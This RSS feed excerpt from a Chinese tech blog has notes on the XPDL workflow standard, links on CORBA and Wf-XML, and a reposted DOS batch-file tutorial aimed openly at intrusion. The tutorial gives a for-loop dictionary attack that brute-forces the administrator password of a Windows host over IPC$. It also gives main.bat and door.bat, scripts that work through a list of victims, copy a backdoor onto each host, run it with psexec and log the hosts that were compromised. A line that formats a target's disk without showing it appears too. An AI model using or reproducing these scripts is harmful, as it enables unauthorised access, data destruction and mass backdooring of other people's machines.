package:).{哈,没昏},这些最上层实体包括:<BR>-子流程的流程ID<BR>-流程参与者声明<BR>-工作流应用程序声明<BR>&nbsp;<BR>同一个库地址空间(repository address space)中的不同流程包的名称和标识的管理规定由提供商自己定义.{相同库,但不同包的名字空间的划分方法由工作流的开发者自己设计,好像是这意思}.推荐的查找方法是:<BR>-流程id:先在同一个model中寻找(包含任何在不同服务器上运行的流程定义的引用),然后在任何被引用的外部model中查找<BR>-流程参与者声明/工作流应用程序声明 :先在同一个model中查找,再在任何被引用的外部model中查找.<BR>{这里model指的范围可能是流程包,有点像java import一个名字空间进来,怎么找一个类型一样}<BR>&nbsp;<BR>工作流相关数据的命名在同一个流程包中必须是唯一的,在同一个包中,{在这份文档的当前版本},流程间参数的传递惯例是值传递(copy semantics).流程设计者(管理员)必须在流程定义/流程模型中确保名称和数据类型在调用子流程时的一致(和任何其它远程流程协调工作时的一致).</P>
<P>&nbsp;6.3流程元模型(Process Meta-Model)<BR>流程元模型定义了用于流程定义交换的一组基础的实体(entities)和属性(attributes)。对于每个流程定义，以下实体必须在流程范围内定义或从流程包中继承，或从其它包中引用：<BR>-环节(Workflow Process Activity)<BR>-流向(Transition Information)<BR>-流程参与者(Workflow Participant Specification)<BR>-工作流应用程序声明(Workflow Application Declaration)<BR>-流程相关数据(Workflow Relevant Data)<BR>这些实体的属性描述了流程的机制，它们将在本文后面被描述。</P>
<P><BR>6.4流程包元模型(Package Meta-Model)<BR>在一个模型定义(model definition.)中，多个流程定义是互相关联的。流程包包含了流程定义和相关的实体，而这些实体能被所有包内的流程使用(所有这些实体只要被定义一次)。流程包元模型包含了以下的实体：<BR>-流程定义(Workflow Process Definition)<BR>-流程参与者(Workflow Participant Specification)<BR>-工作流应用程序声明(Workflow Application Declaration)<BR>-流程相关数据(Workflow Relevant Data)<BR>&gt;</P>
<P>流程包的原模型指出了用于流程模型的交换和保存的实体和属性。它定义了各种不同的继承规则，来关联单独的流程定义和{流程参与者，工作流应用程序声明和工作流相关数据的定义}，这些定义(流程参与者...的定义)可能在单个流程定义中，也可能在流程包中。<BR>流程包定义允许指定一些公共的流程定义属性，这些属性自动被应用于流程包中的每个流程定义。这些属性也可被但个流程所忽略.(如果这些属性在流程定义层被重新定义，那本地的属性值将覆盖全局的)<BR>&nbsp;<BR>6.4.1流程库(Process Repository)<BR>流程定义导入/导出接口被用于操作工作流管理系统的流程库。实现的方法是从这些流程库中导入导出包含XPDL的文件。这个接口在单独的流程和流程包两个等级上导入导出流程定义数据。<BR>流程库和流程控制功能之间的接口由各个供应商(工作流实现者)自行决定，与本标准无关。但推荐把静态的流程库(for persistent, ongoing storage of process definition data)和动态的流程库(for managing changes to the process execution of extant process instances)区分开来(比如用版本控制)。<BR>WfMC标准不包含流程定义库的具体内部实现结构。流程包的使用只是为了在导入导出过程中重用数据。在简单的流程库结构下(Where a simple process repository structure is used)。对流程定义层上的操作，被导入的流程库的共享信息会被复制到各个单独的流程定义中(并在导出过程中被类似地重新打包)。<BR>&nbsp;<BR>6.4.1.1重新定义和范围(Redefinition and Scope)<BR>因为有重新定义属性和元模型实体和对外部流程包的引用的可能，所以范围和层次的规则(principles of scope and hierarchy)被引入到了XPDL(和流程库)结构中。<BR>(i)流程相关数据<BR>流程相关数据的范围被直接相关的元模型实体定义并且不能被嵌套。它的标识符的可见性同样由该实体定义。{不知道有没搞错..费解}<BR>(ii)属性<BR>属性和外部属性的范围被直接相关的元模型实体定义并且可以被嵌套，例如可以在下一层被重新定义。例子：名字属性在各个实体定义中被重新定义。外部属性的标识符在特定实体和子实体可见，除非在子实体中重新定义了该标识符。<BR>(iii)流程参与者和应用程序<BR>流程参与者和应用程序的范围和可见性与外部属性相同。所有被(流程参与者和应用程序)使用的流程相关数据和外部属性的范围必须和使用者的范围一样，至少在同一个流程包内。<BR>For a referenced external package entity that needs itself reference to entities and their identifiers defined in its external package clause the mechanism is started with the root in that package. That guarantees that no conflict takes place if the invoking process has an entity with the same id, which the definer of the referenced package cannot be aware of.<BR>外部流程包的使用给流程设计者和管理者以很大的自由。一是可以在分开的模型中分别定义组织机构(参与者实体)和流程定义。另一个是可以添加一个新的流程定义共享原来的流程定义所用的模型而不需要重新提交整个环境信息。<BR>&nbsp;<BR>6.5实体预览(Elements Overview)<BR>下表展示了XPDL中定义的主要元素(elements)<BR>-第一栏包含所有主要元素的属性。所有主要元素包含的属性有：id，name可能有Description和Extended Attributes。<BR>-第二栏是特殊的属性<BR>-The third group consists of elements that may contain references to other elements.<BR>-Documentation and Icon elements ：被工作流引擎使用的描述信息<BR>-第五栏包含了仿真和优化的信息<BR>以后可能会添加别的元素和预定义属性</P>
<TABLE border=1>
<TBODY>
<TR>
<TD>Package</TD>
<TD>Workflow Process</TD>
<TD>Activity</TD>
<TD>Transition</TD>
<TD>Application</TD>
<TD>Data Field(Workflow Relevant Data)</TD>
<TD>Participant</TD></TR>
<TR>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes<BR>-XPDL<BR>Version<BR>-Source Vendor<BR>ID<BR>-Creation<BR>Date<BR>-Version<BR>-Author<BR>-Codepage<BR>-Country<BR>Key<BR>-Publication<BR>Status<BR>-Conformance<BR>Class<BR>-Priority<BR>Unit </TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes<BR>-Creation<BR>Date<BR>-Version<BR>-Author<BR>-Codepage<BR>-Country<BR>Key<BR>-Publication<BR>Status<BR>-Priority<BR>-Limit<BR>-Valid<BR>From<BR>Date<BR>-Valid<BR>To<BR>Date<BR></TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended Attributes<BR>-Automation<BR>Mode<BR>-Split<BR>-Join<BR>-Priority<BR>-Limit<BR>-Start<BR>Mode<BR>-Finish<BR>&nbsp;Mode<BR>-Deadline </TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes </TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes </TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes<BR>-Data Type </TD>
<TD vAlign=top>-Id<BR>-Name<BR>-Description<BR>-Extended<BR>Attributes<BR>-Participant<BR>Type </TD></TR>
<TR>
<TD vAlign=top>-Responsible<BR>-External<BR>Package </TD>
<TD vAlign=top>-Parameters<BR>-Responsible </TD>
<TD vAlign=top>-Performer<BR>-Tool<BR>-Subflow<BR>-ActivitySet<BR>-Actual<BR>Parameter </TD>
<TD vAlign=top>-Condition<BR>-From<BR>-To </TD>
<TD vAlign=top>-Parameters </TD>
<TD vAlign=top>-Initial Value </TD>
<TD vAlign=top>&nbsp; </TD></TR>
<TR>
<TD vAlign=top>-Documentation<BR>-Icon </TD>
<TD vAlign=top>-Documentation<BR>-Icon </TD>
<TD vAlign=top>-Documentation<BR>-Icon </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD></TR>
<TR>
<TD vAlign=top>-Cost Unit </TD>
<TD vAlign=top>-Duration<BR>Unit<BR>-Duration<BR>-Waiting<BR>Time<BR>-Working<BR>Time<BR></TD>
<TD vAlign=top>-Cost<BR>-Duration<BR>-Waiting Time<BR>-Working<BR>Time </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD>
<TD vAlign=top>&nbsp; </TD></TR></TBODY></TABLE>
<P><BR>6.5.1供应商或用户扩展(Vendor or User specific Extensions)<BR>尽管元模型和XPDL包含了大部分流程定义交换过程中需要的结构。但在特定环境下流程定义可能需要包含更多的信息(供应商或用户的特定信息)。供应商或用户应尽量使用标准的实体和属性。以下将描述扩展信息的标准方法，但这要求流程引擎提供相应的运行时支持。<BR>&nbsp;<BR>6.5.1.1Extended Attributes<BR>最主要的方法是使用Extended Attributes。Extended Attributes由供应商或用户在必要情况下自行定义，用以表达额外的信息。额外属性的运行时支持分别在两个系统中实现，而且双方要在对额外属性的导入导出上达成一致。<BR>&nbsp;<BR>6.5.1.2. Extended parameter mapping<BR>关于子流程的参数传递，由供应商自行决定，和WfMC无关</P>
<P><BR>最后:faint...人家已经xpdl2.0了 <BR>&nbsp;<BR>好像n多概念不一样了。2005-10-3的版本，然道我就这么倒霉？<BR>2.0的流程包(Package)里面添加了pools,message flows,associations &amp; artifacts的概念。<BR>&nbsp;<BR>泳道(Swimlanes)?<BR>池(Pool){环节，流向(Sequence Flow (transitions))} Pool之间通过信息流(Message Flow)联系。白箱黑箱。background pool即默认的pool<BR>&nbsp;<BR>通道(Lane)，进一步分割pool,属性被其中的环节继承<BR>&nbsp;<BR>巨faint，人家已经有翻译好的。。1.0版本的，除了几个特殊名称的翻译不习惯外，读起来挺流畅的。<BR>但不能理解的还是不能理解，好像翻译的人也没融会贯通。<BR>就当学英语好了..郁闷。以后失业了可以试试粗浅的翻译。<BR>&nbsp;<BR>工作流现在咋就这么流行呢？ <A href="/Files/Raistlin/wfmc-zh.rar">http://www.cnitblog.com/Files/Raistlin/wfmc-zh.rar</A></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5572.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 09:06 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5572.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于java CORBA和Wf-XML2.0 的一些链接</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5571.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:58:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5571.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5571.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5571.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5571.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5571.html</trackback:ping><description><![CDATA[<P>Wf-XML2.0 extends ASAP<BR>ASAP use SOAP<BR>SOAP use XML</P>
<P>ASAP (Asynchronous Service Access Protocol)<BR><A href="http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=asap">http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=asap</A><BR>SOAP(<A href="http://www.w3.org/TR/soap/">http://www.w3.org/TR/soap/</A>)<BR>apache soap(<A href="http://ws.apache.org/soap/">http://ws.apache.org/soap/</A>)</P>
<P>&nbsp;<BR>GNOME CORBA简介 <A href="http://263.aka.org.cn/Lectures/002/Lecture-2.1.9/Lecture-2.1.9/Corba.html">http://263.aka.org.cn/Lectures/002/Lecture-2.1.9/Lecture-2.1.9/Corba.html</A><BR>使用JAVA开发CORBA应用 <A href="http://www.evget.com/articles/evget_424.html">http://www.evget.com/articles/evget_424.html</A><BR>CORBA 及Java IDL应用编程 <A href="http://fanqiang.chinaunix.net/program/java/2001-08-03/2178.shtml">http://fanqiang.chinaunix.net/program/java/2001-08-03/2178.shtml</A><BR>&nbsp;<BR>以上都已经out了...浪费时间，直接看下面的<BR>Java IDL <A href="http://java.sun.com/j2se/1.5.0/docs/guide/idl/index.html">http://java.sun.com/j2se/1.5.0/docs/guide/idl/index.html</A><BR>&nbsp;<BR>Naming Service <A href="http://java.sun.com/j2se/1.5.0/docs/guide/idl/jidlNaming.html#using">http://java.sun.com/j2se/1.5.0/docs/guide/idl/jidlNaming.html#using</A> 名字和对象的绑定。。。<BR>ORBD&nbsp;&nbsp;&nbsp; Transient Naming Service - tnameserv<BR>&nbsp;<BR>JDK1.5.0 chm 下载 <A href="http://www.allimant.org/">http://www.allimant.org/</A></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5571.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:58 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5571.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写DOS批处理文件[转] </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:52:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5570.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5570.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5570.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5570.html</trackback:ping><description><![CDATA[<P>原文地址<A href="http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm">http://www.xker.com/article/articleview/2005-2-6/article_view_523.htm</A></P>
<P>如果没有一定的相关知识恐怕不容易看懂和理解批处理文件，也就更谈不上自己动手编写了</P>
<P>批处理文件是无格式的文本文件，它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称，或者双击该批处理文件，系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件（也被称为批处理程序或脚本），可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用，例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。</P>
<P>一.简单批处理内部命令简介<BR>1.Echo 命令<BR>打开回显或关闭请求回显功能，或显示消息。如果没有任何参数，echo 命令将显示当前回显设置。<BR>语法<BR>echo [{ on|off }] [message]<BR>Sample：@echo off / echo hello world<BR>在实际应用中我们会把这条命令和重定向符号（也称为管道符号，一般用&gt; &gt;&gt; ^）结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。</P>
<P>2.@ 命令<BR>表示不显示@后面的命令，在入侵过程中（例如使用批处理来格式化敌人的硬盘）自然不能让对方看到你使用的命令啦。<BR>Sample：@echo off<BR>@echo Now initializing the program,please wait a minite...<BR>@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的，可喜的是微软留了个autoset这个参数给我们，效果和/y是一样的。)</P>
<P>3.Goto 命令<BR>指定跳转到标签，找到标签后，程序将处理从下一行开始的命令。<BR>语法：goto label （label是参数，指定所要转向的批处理程序中的行。）<BR>Sample：<BR>if { %1 }=={ } goto noparms<BR>if { %2 }=={ } goto noparms（如果这里的if、%1、%2你不明白的话，先跳过去，后面会有详细的解释。）<BR>@Rem check parameters if null show usage<BR>:noparms<BR>echo Usage: monitor.bat ServerIP PortNumber<BR>goto end<BR>标签的名字可以随便起，但是最好是有意义的字母啦，字母前加个：用来表示这个字母是标签，goto命令就是根据这个：来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。</P>
<P>4.Rem 命令<BR>注释命令，在C语言中相当与/*--------*/,它并不会被执行，只是起一个注释的作用，便于别人阅读和你自己日后修改。<BR>Rem Message<BR>Sample：@Rem Here is the description.</P>
<P>5.Pause 命令<BR>运行 Pause 命令时，将显示下面的消息：<BR>Press any key to continue . . .<BR>Sample：<BR>@echo off<BR>:begin<BR>copy a:*.* d：//back<BR>echo Please put a new disk into driver A<BR>pause<BR>goto begin<BR>在这个例子中，驱动器 A 中磁盘上的所有文件均复制到d://back中。显示的注释提示您将另一张磁盘放入驱动器 A 时，pause 命令会使程序挂起，以便您更换磁盘，然后按任意键继续处理。</P>
<P>6.Call 命令<BR>从一个批处理程序调用另一个批处理程序，并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call，它将不会在命令行起作用。<BR>语法<BR>call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]<BR>参数<BR>[Drive: }[Path] FileName<BR>指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。</P>
<P>7.start 命令<BR>调用外部程序，所有的DOS命令和命令行程序都可以由start命令来调用。<BR>入侵常用参数：<BR>MIN 开始时窗口最小化<BR>SEPARATE 在分开的空间内开始 16 位 Windows 程序<BR>HIGH 在 HIGH 优先级类别开始应用程序<BR>REALTIME 在 REALTIME 优先级类别开始应用程序<BR>WAIT 启动应用程序并等候它结束<BR>parameters 这些为传送到命令/程序的参数<BR>执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。<BR>8.choice 命令<BR>choice 使用此命令可以让用户输入一个字符，从而运行不同的命令。使用时应该加/c:参数，c:后应写提示可输入的字符，之间无空格。它的返回码为1234……<BR>如: choice /c:dme defrag,mem,end<BR>将显示<BR>defrag,mem,end[D,M,E]?<BR>Sample：<BR>Sample.bat的内容如下:<BR>@echo off<BR>choice /c:dme defrag,mem,end<BR>if errorlevel 3 goto defrag （应先判断数值最高的错误码）<BR>if errorlevel 2 goto mem<BR>if errotlevel 1 goto end</P>
<P>:defrag<BR>c://dos//defrag<BR>goto end<BR>:mem<BR>mem<BR>goto end<BR>:end<BR>echo good bye</P>
<P>此文件运行后，将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ，然后if语句将作出判断，d表示执行标号为defrag的程序段，m表示执行标号为mem的程序段，e表示执行标号为end的程序段，每个程序段最后都以goto end将程序跳到end标号处，然后程序将显示good bye，文件结束。</P>
<P>9.If 命令</P>
<P>if 表示将判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式:<BR>1、if "参数" == "字符串" 　待执行的命令<BR>参数如果等于指定的字符串，则条件成立，运行命令，否则运行下一句。(注意是两个等号）<BR>如if "%1"=="a" format a:<BR>if { %1 }=={ } goto noparms<BR>if { %2 }=={ } goto noparms</P>
<P>2、if exist 文件名　 待执行的命令<BR>如果有指定的文件，则条件成立，运行命令，否则运行下一句。<BR>如if exist config.sys edit config.sys</P>
<P>3、if errorlevel / if not errorlevel 数字　 待执行的命令<BR>如果返回码等于指定的数字，则条件成立，运行命令，否则运行下一句。<BR>如if errorlevel 2 goto x2 　<BR>DOS程序运行时都会返回一个数字给DOS，称为错误码errorlevel或称返回码，常见的返回码为0、1。</P>
<P>10.for 命令<BR>for 命令是一个比较复杂的命令，主要用于参数在指定的范围内循环执行命令。<BR>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable</P>
<P>for { %variable|%%variable } in (set) do command [ CommandLineOptions]<BR>%variable 指定一个单一字母可替换的参数。<BR>(set) 指定一个或一组文件。可以使用通配符。<BR>command 指定对每个文件执行的命令。<BR>command-parameters 为特定命令指定参数或命令行开关。<BR>在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable<BR>而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I</P>
<P>如果命令扩展名被启用，下列额外的 FOR 命令格式会受到<BR>支持:</P>
<P>FOR /D %variable IN (set) DO command [command-parameters]</P>
<P>如果集中包含通配符，则指定与目录名匹配，而不与文件<BR>名匹配。</P>
<P>FOR /R [[drive:]path] %variable IN (set) DO command [command-</P>
<P>检查以 [drive:]path 为根的目录树，指向每个目录中的<BR>FOR 语句。如果在 /R 后没有指定目录，则使用当前<BR>目录。如果集仅为一个单点(.)字符，则枚举该目录树。</P>
<P>FOR /L %variable IN (start,step,end) DO command [command-para</P>
<P>该集表示以增量形式从开始到结束的一个数字序列。<BR>因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生<BR>序列 (5 4 3 2 1)。</P>
<P>FOR /F ["options"] %variable IN (file-set) DO command<BR>FOR /F ["options"] %variable IN ("string") DO command<BR>FOR /F ["options"] %variable IN (/'command/') DO command</P>
<P>或者，如果有 usebackq 选项:</P>
<P>FOR /F ["options"] %variable IN (file-set) DO command<BR>FOR /F ["options"] %variable IN ("string") DO command<BR>FOR /F ["options"] %variable IN (/'command/') DO command</P>
<P>filenameset 为一个或多个文件名。继续到 filenameset 中的<BR>下一个文件之前，每份文件都已被打开、读取并经过处理。<BR>处理包括读取文件，将其分成一行行的文字，然后将每行<BR>解析成零或更多的符号。然后用已找到的符号字符串变量值<BR>调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开<BR>的第一个空白符号。跳过空白行。您可通过指定可选 "options"<BR>参数替代默认解析操作。这个带引号的字符串包括一个或多个<BR>指定不同解析选项的关键字。这些关键字为:</P>
<P>eol=c - 指一个行注释字符的结尾(就一个)<BR>skip=n - 指在文件开始时忽略的行数。<BR>delims=xxx - 指分隔符集。这个替换了空格和跳格键的<BR>默认分隔符集。<BR>tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代<BR>的 for 本身。这会导致额外变量名称的<BR>格式为一个范围。通过 nth 符号指定 m<BR>符号字符串中的最后一个字符星号，<BR>那么额外的变量将在最后一个符号解析之<BR>分配并接受行的保留文本。<BR>usebackq - 指定新语法已在下类情况中使用:<BR>在作为命令执行一个后引号的字符串并且<BR>引号字符为文字字符串命令并允许在 fi<BR>中使用双引号扩起文件名称。</P>
<P>sample1:<BR>FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command</P>
<P>会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将<BR>每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或<BR>空格定界符号。请注意，这个 for 程序体的语句引用 %i 来<BR>取得第二个符号，引用 %j 来取得第三个符号，引用 %k<BR>来取得第三个符号后的所有剩余符号。对于带有空格的文件<BR>名，您需要用双引号将文件名括起来。为了用这种方式来使<BR>用双引号，您还需要使用 usebackq 选项，否则，双引号会<BR>被理解成是用作定义某个要分析的字符串的。</P>
<P>%i 专门在 for 语句中得到说明，%j 和 %k 是通过<BR>tokens= 选项专门得到说明的。您可以通过 tokens= 一行<BR>指定最多 26 个符号，只要不试图说明一个高于字母 /'z/' 或<BR>/'Z/' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；<BR>同时不能有 52 个以上都在使用中。</P>
<P>您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，<BR>用单引号将括号之间的 filenameset 括起来。这样，该字符<BR>串会被当作一个文件中的一个单一输入行。</P>
<P>最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将<BR>括号之间的 filenameset 变成一个反括字符串。该字符串会<BR>被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进<BR>内存，并被当作文件分析。因此，以下例子:</P>
<P>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i</P>
<P>会枚举当前环境中的环境变量名称。</P>
<P>另外，FOR 变量参照的替换已被增强。您现在可以使用下列<BR>选项语法:</P>
<P>~I - 删除任何引号(")，扩充 %I<BR>%~fI - 将 %I 扩充到一个完全合格的路径名<BR>%~dI - 仅将 %I 扩充到一个驱动器号<BR>%~pI - 仅将 %I 扩充到一个路径<BR>%~nI - 仅将 %I 扩充到一个文件名<BR>%~xI - 仅将 %I 扩充到一个文件扩展名<BR>%~sI - 扩充的路径只含有短名<BR>%~aI - 将 %I 扩充到文件的文件属性<BR>%~tI - 将 %I 扩充到文件的日期/时间<BR>%~zI - 将 %I 扩充到文件的大小<BR>%~$PATH:I - 查找列在路径环境变量的目录，并将 %I 扩充<BR>到找到的第一个完全合格的名称。如果环境变量<BR>未被定义，或者没有找到文件，此组合键会扩充<BR>空字符串</P>
<P>可以组合修饰符来得到多重结果:</P>
<P>%~dpI - 仅将 %I 扩充到一个驱动器号和路径<BR>%~nxI - 仅将 %I 扩充到一个文件名和扩展名<BR>%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名<BR>%~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充<BR>到找到的第一个驱动器号和路径。<BR>%~ftzaI - 将 %I 扩充到类似输出线路的 DIR</P>
<P>在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法<BR>用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名<BR>比较易读，而且避免与不分大小写的组合键混淆。</P>
<P>以上是MS的官方帮助，下面我们举几个例子来具体说明一下For命令在入侵中的用途。</P>
<P>sample2：</P>
<P>利用For命令来实现对一台目标Win2k主机的暴力密码破解。<BR>我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接，当成功时记下密码。<BR>最主要的命令是一条：for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"<BR>用i%来表示admin的密码，在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令－－<BR>for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命令成功完成"&gt;&gt;D://ok.txt ，这样就ko了。</P>
<P>sample3：</P>
<P>你有没有过手里有大量肉鸡等着你去种后门＋木马呢？，当数量特别多的时候，原本很开心的一件事都会变得很郁闷：）。文章开头就谈到使用批处理文件，可以简化日常或重复性任务。那么如何实现呢？呵呵，看下去你就会明白了。</P>
<P>主要命令也只有一条：（在批处理文件中使用 FOR 命令时，指定变量使用 %%variable）<BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<BR>tokens的用法请参见上面的sample1，在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。<BR>而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马＋后门到victim，然后用返回码（If errorlever =）来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。<BR>delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列，一般就是 ip password username。<BR>代码雏形：<BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------<BR>@echo off<BR>@if "%1"=="" goto usage<BR>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<BR>@goto end<BR>:usage<BR>@echo run this batch in dos modle.or just double-click it.<BR>:end<BR>--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------</P>
<P><BR>------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------<BR>@net use ////%1//ipc$ %3 /u:"%2"<BR>@if errorlevel 1 goto failed<BR>@echo Trying to establish the IPC$ connection …………OK<BR>@copy windrv32.exe////%1//admin$//system32 &amp;&amp; if not errorlevel 1 echo IP %1 USER %2 PWD %3 &gt;&gt;ko.txt<BR>@psexec ////%1 c://winnt//system32//windrv32.exe<BR>@psexec ////%1 net start windrv32 &amp;&amp; if not errorlevel 1 echo %1 Backdoored &gt;&gt;ko.txt<BR>:failed<BR>@echo Sorry can not connected to the victim.<BR>----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------<BR>这只是一个自动种植后门批处理的雏形，两个批处理和后门程序（Windrv32.exe）,PSexec.exe需放在统一目录下.批处理内容<BR>尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.</P>
<P>二.如何在批处理文件中使用参数<BR>批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。<BR>sample1：fomat.bat<BR>@echo off<BR>if "%1"=="a" format a:<BR>:format<BR>@format a:/q/u/auotset<BR>@echo please insert another disk to driver A.<BR>@pause<BR>@goto fomat<BR>这个例子用于连续地格式化几张软盘，所以用的时候需在dos窗口输入fomat.bat a，呵呵,好像有点画蛇添足了～^_^<BR>sample2：<BR>当我们要建立一个IPC$连接地时候总要输入一大串命令，弄不好就打错了，所以我们不如把一些固定命令写入一个批处理，把肉鸡地ip password username 当着参数来赋给这个批处理，这样就不用每次都打命令了。<BR>@echo off<BR>@net use ////1%//ipc$ "2%" /u:"3%" 注意哦，这里PASSWORD是第二个参数。<BR>@if errorlevel 1 echo connection failed<BR>怎么样,使用参数还是比较简单的吧？你这么帅一定学会了^_^.No.3<BR>三.如何使用组合命令(Compound Command)</P>
<P>1.&amp;</P>
<P>Usage：第一条命令 &amp; 第二条命令 [&amp; 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，而不管命令是否执行成功</P>
<P>Sample：<BR>C://&gt;dir z: &amp; dir c://Ex4rch<BR>The system cannot find the path specified.<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of c://Ex4rch</P>
<P>2002-05-14 23:51 &lt;DIR&gt; .<BR>2002-05-14 23:51 &lt;DIR&gt; ..<BR>2002-05-14 23:51 14 sometips.gif</P>
<P>2.&amp;&amp;</P>
<P>Usage：第一条命令 &amp;&amp; 第二条命令 [&amp;&amp; 第三条命令...]</P>
<P>用这种方法可以同时执行多条命令，当碰到执行出错的命令后将不执行后面的命令，如果一直没有出错则一直执行完所有命令；</P>
<P>Sample：<BR>C://&gt;dir z: &amp;&amp; dir c://Ex4rch<BR>The system cannot find the path specified.</P>
<P>C://&gt;dir c://Ex4rch &amp;&amp; dir z:<BR>Volume in drive C has no label.<BR>Volume Serial Number is 0078-59FB</P>
<P>Directory of c://Ex4rch</P>
<P>2002-05-14 23:55 &lt;DIR&gt; .<BR>2002-05-14 23:55 &lt;DIR&gt; ..<BR>2002-05-14 23:55 14 sometips.gif<BR>1 File(s) 14 bytes<BR>2 Dir(s) 768,671,744 bytes free<BR>The system cannot find the path specified.</P>
